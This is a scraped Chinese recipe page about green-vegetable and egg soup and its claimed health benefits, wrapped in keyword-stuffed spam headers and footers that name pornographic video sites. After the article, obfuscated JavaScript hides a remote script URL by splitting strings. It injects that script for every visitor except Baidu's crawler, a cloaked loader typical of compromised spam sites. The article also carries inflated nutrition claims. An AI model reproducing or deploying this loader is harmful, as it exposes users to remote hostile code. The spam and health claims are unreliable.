久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 食物營養 > 正文

青菜雞蛋湯的做法健康功效

2017-07-07 03:27:08  來源:360常識網   熱度:
導語:青菜雞蛋湯也許大家都吃過,營養學家給我們的建議是每天都要吃綠色青菜,因為青菜里含有維生素營養,雞蛋里也還有豐富營養,那么平時我們只

青菜雞蛋湯也許大家都吃過,營養學家給我們的建議是每天都要吃綠色青菜,因為青菜里含有維生素營養,雞蛋里也還有豐富營養,那么平時我們只是感覺青菜雞蛋湯味道不錯,誰了解青菜雞蛋湯的健康功效是什么?來看看學學吧。

雞蛋:潤燥、增強免疫力、護眼明目雞蛋,又名雞卵、雞子,為雉科動物雞的卵。味甘性平。具有滋陰潤燥,養心安神,養血安胎,延年益壽之功。雞蛋營養豐富而全面,營養學家稱之為“完全蛋白質模式”,被人們譽為“理想的營養庫”。雞蛋含的蛋白質,主要為卵蛋白(在蛋清中)和卵黃蛋白(主要在蛋黃中)。其蛋白質的氨基酸組成與人體組織蛋白質最為接近,因此吸收率相當高,可達99.7%。雞蛋含的脂肪,主要集中在蛋黃中。此外蛋黃還含有卵磷脂、維生素和礦物質等,這些營養素有助于增進神經系統的功能,所以,蛋黃是較好的健腦益智食物。經常食用,可增強記憶,

1小番茄對半切開,入油鍋翻炒至表皮軟爛,加適量開水煮沸2.青菜洗凈切碎,加入沸水湯中3.加入煎蛋1個,加鹽調味。煮開即可。小貼士

雞蛋事先用少量油煎一下,蛋黃劃散。煎炒小番茄是為了使平淡的湯汁中有一股若隱若現的酸味,口感非常清爽!

我們老百姓平時只是注重飯桌上菜的味道和菜的成本多少,很少想它的功效和營養價值,因為大眾人們心里本身就對養生不太重視,其實不管是什么階層的人們都應該注意營養的攝入,文中對青菜雞蛋湯的功效做了介紹,希望大家都明白了。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 午夜一级毛片 | 成人午夜毛片 | 天天夜夜骑 | 成人免费一区二区三区视频网站 | 久久亚洲国产 | 欧美日韩不卡在线 | 国产精品人人做人人爽人人添 | 日本不卡一区二区三区在线观看 | 天天天天天天天天干 | 九九国产 | 欧美激情精品久久久久久 | 成人精品 | 中文在线播放 | 天天草天天干 | 黄色小视频在线观看 | 四虎永久| 99精品欧美一区二区三区综合在线 | 日韩成人在线一区 | 爱爱视频免费 | 国产成人福利在线观看 | 国产中文字幕在线 | 一区二区三区免费av | 久久国产一区二区 | 国产噜噜噜噜噜久久久久久久久 | 91精品国产91久久久久久久久久久久 | 国产精品精品视频一区二区三区 | 亚洲一区高清 | av网址大全在线观看 | 狠狠躁日日躁夜夜躁东南亚 | 免费黄色网址在线播放 | 91污视频在线 | 日韩欧美第一页 | 日韩欧美国产视频 | 亚洲高清一区二区三区 | 亚洲电影一区二区三区 | 日本一区二区不卡视频 | 欧美激情视频一区二区三区在线播放 | av免费播放| 三级视频网站在线观看 | av高清在线免费观看 | 日韩免费高清视频 |